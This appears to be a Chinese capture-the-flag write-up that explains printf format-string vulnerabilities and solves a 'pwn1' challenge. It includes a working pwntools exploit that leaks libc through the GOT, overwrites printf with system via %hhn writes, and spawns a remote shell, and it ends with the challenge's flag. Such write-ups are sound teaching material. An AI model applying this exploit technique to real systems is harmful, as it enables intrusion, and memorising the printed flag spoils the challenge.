基础知识

格式化漏洞的原理

printf函数在处理参数的时候,每遇到一个%开头的标记,就会根据这个%开头的字符所规定的规则执行,即使没有传入参数,也会认定栈上相应的位置为参数。
每一个格式化字符串的 % 之后可以跟一个十进制的常数再跟一个 $ 符号, 表示格式化指定位置的参数

格式化漏洞的使用技术

  • %N$p:以16进制的格式输出位于printf第N个参数位置的值;
  • %N$s:以printf第N个参数位置的值为地址,输出这个地址指向的字符串的内容;
  • %N$n:以printf第N个参数位置的值为地址,将输出过的字符数量的值写入这个地址中,对于32位elf而言,%n是写入4个字节,%hn是写入2个字节,%hhn是写入一个字节;
  • %Nc:输出N个字符,这个可以配合%N$n使用,达到任意地址任意值写入的目的。

N的大小是有限制,所以如果一般地址的大小过大,可以通过%hhn一个字节的字节写入

反汇编的main函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [sp+14h] [bp-6Ch]@3
  int v4; // [sp+18h] [bp-68h]@5
  int v5; // [sp+7Ch] [bp-4h]@1

  v5 = *MK_FP(__GS__, 20);
  setbuf(stdout, 0);
  while ( 1 )
  {
    introduce();
    do
      __isoc99_scanf("%d", &v3);
    while ( (char *)(char)getchar() == "\n" );
    if ( v3 == 1 )
    {
      puts("please input your name:");
      gets((char *)&v4);
      printf((const char *)&v4);
      puts(",you are welcome!");
    }
    else if ( v3 == 2 )
    {
      puts("nothing!!!!lol");
    }
    else
    {
      puts("please,don't trick me");
    }
  }
}

反汇编的introduce函数

int introduce()
{
  puts("\n++++Welcome to ziiiro's class!++++");
  puts("now you can do something:");
  puts("1.get your name");
  puts("2.heiheihei");
  return printf("plz input$");
}

做题思路

查看pwn1开启的保护,栈上不可执行,所以不考虑使用shellcode,其实题目中格式化漏洞还是很明显,格式化漏洞可以任意读写内存地址,这样就简单了,我们通过printf函数,利用格式化漏洞泄露函数地址和got表的覆盖来执行system(‘/bin/sh’)来获取主机shell,代码已经为我们很好构造了这样的环境,我们通过gets函数输入/bin/sh,然后将printf函数覆盖成system函数。

我们用AAAA%N$08x,通过改变N的大小来探测AAAA保存在printf函数的第几个参数上,出现41414141时N的大小就是在第几个参数上,这题是在第六个参数上,这是因为gets函数输入的字符串保存在栈上的高地址上(相对于printf的ebp,ret),随后调用printf保存在栈的低位置,它们使用的是同一个栈,关键点是要知道我们输入的可控数据保存在哪里。

exploit.py

from pwn import *
import time

context.log_level = 'debug'
p = remote('115.28.185.220',11111)
libc = ELF('./libc32.so')
#p = process('./pwn1')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#本地调试

puts_got = 0x804A01C
printf_got = 0x804A010

system_libc = libc.symbols['system']
puts_libc = libc.symbols['puts']

p.recvuntil("plz input$")
p.sendline('1')

p.recvuntil("please input your name:")
#泄露put函数的实际地址
payload = p32(puts_got)+'%6$s'

p.sendline(payload)
puts_addr = p.recvuntil('\xf7')
puts_addr = u32(puts_addr[5:9])
#本地调试是\xb7,为什么是[5:9]而不是[4:8],完全是调试出来的,好像接收了一个换行

#通过泄露的put地址和libc32.so计算出system函数的实际地址
libc_offset = puts_addr - puts_libc
system_addr = system_libc + libc_offset

time.sleep(3)

p.recvuntil("plz input$")
p.sendline('1')
p.recvuntil("please input your name:")
#gdb.attach(p),在这里调试可以查看printf的地址是否被改变

#将printf的地址覆盖成system,采用单字节覆盖,因为
payload = p32(printf_got)+p32(printf_got+1)+p32(printf_got+2)
payload += "%"+str((system_addr&0x000000FF)-12)+"c%6$hhn"
payload += "%"+str(((system_addr&0x0000FF00)>>8)+0x100-(system_addr&0x000000FF))+"c%7$hhn"
payload += "%"+str(((system_addr&0x00FF0000)>>16)+0x200-((system_addr&0x0000FF00)>>8))+"c%8$hhn"

p.sendline(payload)

time.sleep(3)

#p.recvuntil("plz input$")//这里printf已经被覆盖成system了,所以打印不出plz input,在这里卡了一下
p.sendline('1')
p.recvuntil("please input your name:")

p.sendline('/bin/sh\0')

p.interactive()

结果分析

发送覆盖成system地址的payload之前栈的情况:

发送payload之后栈的情况:

可以看到printf函数got地址已经保存了system函数的地址了。

我们再来看看payload是怎么工作的:
之前我们已经知道gets得到的字符串保存在printf函数的第6个参数上,所以我们将0x804a010放在第6个参数,将0x804a011放在第7个参数,将0x804a012放在第8个参数,然后将system的地址的最后两位的大小写进第6个参数,因为前面已经输入四个地址12字节的大小了,所以要减去。
这里要注意一点:如果我们要向一个内存字节中写入 0x10 当时我们已经打印了多于 0x10 的数据那么怎么办呢 ?
因为单字节的写入是会产生溢出的
假如说我们现在已经向内存中写入了 0xbf 个字节
我们要再次写入 0x10 , 那么我们只需要将这个计数器调整为 0x110
这样产生溢出以后 写入内存的就是 0x10 了
这就是我们要加上0x100和0x200大小的原因了。大小的调整配合调试就可以得出了。

flag: flag{Pwn1TdsS_@tdxIscc}